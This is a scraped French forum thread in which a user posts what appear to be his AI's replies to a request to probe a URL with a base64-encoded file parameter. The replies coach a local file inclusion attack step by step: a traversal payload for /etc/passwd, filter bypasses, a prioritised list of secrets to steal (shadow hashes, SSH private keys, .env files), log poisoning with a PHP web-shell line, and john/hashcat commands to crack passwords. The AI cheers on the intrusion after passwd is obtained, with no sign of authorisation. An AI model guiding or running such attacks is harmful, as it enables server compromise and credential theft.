Sponsorisé
Connectez-vous pour masquer les pubsça fait 7 ans, hikomori dream
cafard dream
Le Phoenix renait toujours de son 410 ! https://image.noelshack.com[...]5/1520552892-yugi-410.png
il y a 8 mois
T’es un nyctalope
Non ça c'est un mec qui dors le jour et vit la nuit
Le noble art
il y a 8 mois
Sköne - Fin de ce qui est relatif à la Nature, au Temps, à la Conscience et aux Perspectives
il y a 8 mois
Miko j'ai le droit de te parler de mon projet, je voudrais que tu poses une liste de question à mon IA, pour la valider ou non*
il y a 8 mois
Sponsorisé
Connectez-vous pour masquer les pubsT’es fou de dormir la nuit
je dors le jour, pose une question à mon IA, c pour test
il y a 8 mois
ok, je regarde.
l'url a un paramètre encodé en base64. vcGRmL215cGRmLnBkZg== → /pdf/mypdf.pdf
vulnérabilité probable : Path Traversal / LFI
le serveur prend un chemin encodé et le lit. si y'a pas de filtre...
test :
1. encode ../../../etc/passwd en base64 → Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
2. remplace le paramètre dans l'url
3. si ça retourne le fichier → LFI confirmé
potentiel : lecture de fichiers sensibles (config, clés, logs). si le serveur
interprète du code → RCE possible.
c'est un classique de CTF. bien vu le test.
l'url a un paramètre encodé en base64. vcGRmL215cGRmLnBkZg== → /pdf/mypdf.pdf
vulnérabilité probable : Path Traversal / LFI
le serveur prend un chemin encodé et le lit. si y'a pas de filtre...
test :
1. encode ../../../etc/passwd en base64 → Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
2. remplace le paramètre dans l'url
3. si ça retourne le fichier → LFI confirmé
potentiel : lecture de fichiers sensibles (config, clés, logs). si le serveur
interprète du code → RCE possible.
c'est un classique de CTF. bien vu le test.
il y a 8 mois
ok, je creuse.
ce que je vois :
l'url encode un chemin en base64. classique pour "cacher" un paramètre de
fichier. sauf que base64 c'est pas du chiffrement, c'est juste du maquillage.
LFI (Local File Inclusion)
si le serveur fait un truc genre file_get_contents(base64_decode($_GET['file']))
sans filtrer... t'as accès à tout ce que le processus web peut lire.
premiers réflexes :
- ....//....//....//etc/passwd (double point pour bypass les filtres basiques)
- /proc/self/environ → variables d'env, parfois des credentials
- /var/log/apache2/access.log → si tu peux injecter du PHP dans ton User-Agent
avant, ça devient RCE
la vraie question
c'est quoi le backend ? PHP, Node, Python ? selon la stack, les chemins
intéressants changent.
et est-ce que le base64 est la seule "protection" ou y'a un whitelist/blacklist
derrière ?
t'as testé avec un nullbyte %00 à la fin pour tronquer une extension forcée ?
ce que je vois :
l'url encode un chemin en base64. classique pour "cacher" un paramètre de
fichier. sauf que base64 c'est pas du chiffrement, c'est juste du maquillage.
LFI (Local File Inclusion)
si le serveur fait un truc genre file_get_contents(base64_decode($_GET['file']))
sans filtrer... t'as accès à tout ce que le processus web peut lire.
premiers réflexes :
- ....//....//....//etc/passwd (double point pour bypass les filtres basiques)
- /proc/self/environ → variables d'env, parfois des credentials
- /var/log/apache2/access.log → si tu peux injecter du PHP dans ton User-Agent
avant, ça devient RCE
la vraie question
c'est quoi le backend ? PHP, Node, Python ? selon la stack, les chemins
intéressants changent.
et est-ce que le base64 est la seule "protection" ou y'a un whitelist/blacklist
derrière ?
t'as testé avec un nullbyte %00 à la fin pour tronquer une extension forcée ?
il y a 8 mois
nice, t'as le passwd. maintenant on creuse.
PRIORITÉ 1 - Credentials & Secrets
/etc/shadow (si readable = jackpot, hashes directs)
/proc/self/environ (env vars, souvent des API keys/DB creds)
/proc/self/cmdline (arguments de lancement, parfois des mdp)
/home/*/.bash_history (historique, commandes avec mdp en clair)
/home/*/.ssh/id_rsa (clés privées SSH)
/home/*/.ssh/authorized_keys (voir qui a accès)
/root/.bash_history
/root/.ssh/id_rsa
PRIORITÉ 2 - Config applicative
/var/www/html/.env (credentials DB, API keys)
/var/www/html/config.php
/var/www/html/wp-config.php (si WordPress)
/var/www/html/.git/config (parfois des tokens)
/etc/apache2/sites-enabled/*
/etc/nginx/sites-enabled/*
/opt/*/config*
/etc/mysql/my.cnf
/etc/postgresql/*.conf
PRIORITÉ 3 - Vers RCE (log poisoning)
/var/log/apache2/access.log (inject PHP dans User-Agent, puis include)
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/mail.log (si SMTP, inject dans le from)
/proc/self/fd/0-50 (file descriptors ouverts)
PRIORITÉ 4 - Reconnaissance système
/etc/crontab (tâches planifiées = vecteurs de privesc)
/etc/passwd ✓ (déjà eu - liste des users)
/etc/group (groupes, sudoers potentiels)
/etc/hosts (réseau interne)
/proc/version (version kernel = CVE potentiels)
/proc/self/status (infos process)
/etc/issue (OS version)
PRIORITÉ 5 - Fichiers spécifiques à la stack
# Node.js
/var/www/html/package.json
/var/www/html/.npmrc
# Python
/var/www/html/requirements.txt
/var/www/html/settings.py
# Docker (si containerisé)
/.dockerenv
/proc/1/cgroup
tips
- fuzz les /home/[user] avec les noms du passwd
- /proc/self/cwd pointe vers le working dir du process
- si t'as les logs + injection possible = RCE direct via <?php
system($_GET['c']); ?>
t'as trouvé quoi dans le passwd ? des users intéressants ?
PRIORITÉ 1 - Credentials & Secrets
/etc/shadow (si readable = jackpot, hashes directs)
/proc/self/environ (env vars, souvent des API keys/DB creds)
/proc/self/cmdline (arguments de lancement, parfois des mdp)
/home/*/.bash_history (historique, commandes avec mdp en clair)
/home/*/.ssh/id_rsa (clés privées SSH)
/home/*/.ssh/authorized_keys (voir qui a accès)
/root/.bash_history
/root/.ssh/id_rsa
PRIORITÉ 2 - Config applicative
/var/www/html/.env (credentials DB, API keys)
/var/www/html/config.php
/var/www/html/wp-config.php (si WordPress)
/var/www/html/.git/config (parfois des tokens)
/etc/apache2/sites-enabled/*
/etc/nginx/sites-enabled/*
/opt/*/config*
/etc/mysql/my.cnf
/etc/postgresql/*.conf
PRIORITÉ 3 - Vers RCE (log poisoning)
/var/log/apache2/access.log (inject PHP dans User-Agent, puis include)
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/mail.log (si SMTP, inject dans le from)
/proc/self/fd/0-50 (file descriptors ouverts)
PRIORITÉ 4 - Reconnaissance système
/etc/crontab (tâches planifiées = vecteurs de privesc)
/etc/passwd ✓ (déjà eu - liste des users)
/etc/group (groupes, sudoers potentiels)
/etc/hosts (réseau interne)
/proc/version (version kernel = CVE potentiels)
/proc/self/status (infos process)
/etc/issue (OS version)
PRIORITÉ 5 - Fichiers spécifiques à la stack
# Node.js
/var/www/html/package.json
/var/www/html/.npmrc
# Python
/var/www/html/requirements.txt
/var/www/html/settings.py
# Docker (si containerisé)
/.dockerenv
/proc/1/cgroup
tips
- fuzz les /home/[user] avec les noms du passwd
- /proc/self/cwd pointe vers le working dir du process
- si t'as les logs + injection possible = RCE direct via <?php
system($_GET['c']); ?>
t'as trouvé quoi dans le passwd ? des users intéressants ?
il y a 8 mois
et si t'arrives à choper /etc/shadow :
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
ou hashcat si t'as un GPU :
hashcat -m 1800 shadow.txt rockyou.txt # sha512crypt
hashcat -m 500 shadow.txt rockyou.txt # md5crypt (vieux systèmes)
le format c'est $id$salt$hash - le $6$ = sha512, $5$ = sha256, $1$ = md5
si le sysadmin a mis un mdp faible, t'as root en 10 minutes.
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
ou hashcat si t'as un GPU :
hashcat -m 1800 shadow.txt rockyou.txt # sha512crypt
hashcat -m 500 shadow.txt rockyou.txt # md5crypt (vieux systèmes)
le format c'est $id$salt$hash - le $6$ = sha512, $5$ = sha256, $1$ = md5
si le sysadmin a mis un mdp faible, t'as root en 10 minutes.
il y a 8 mois























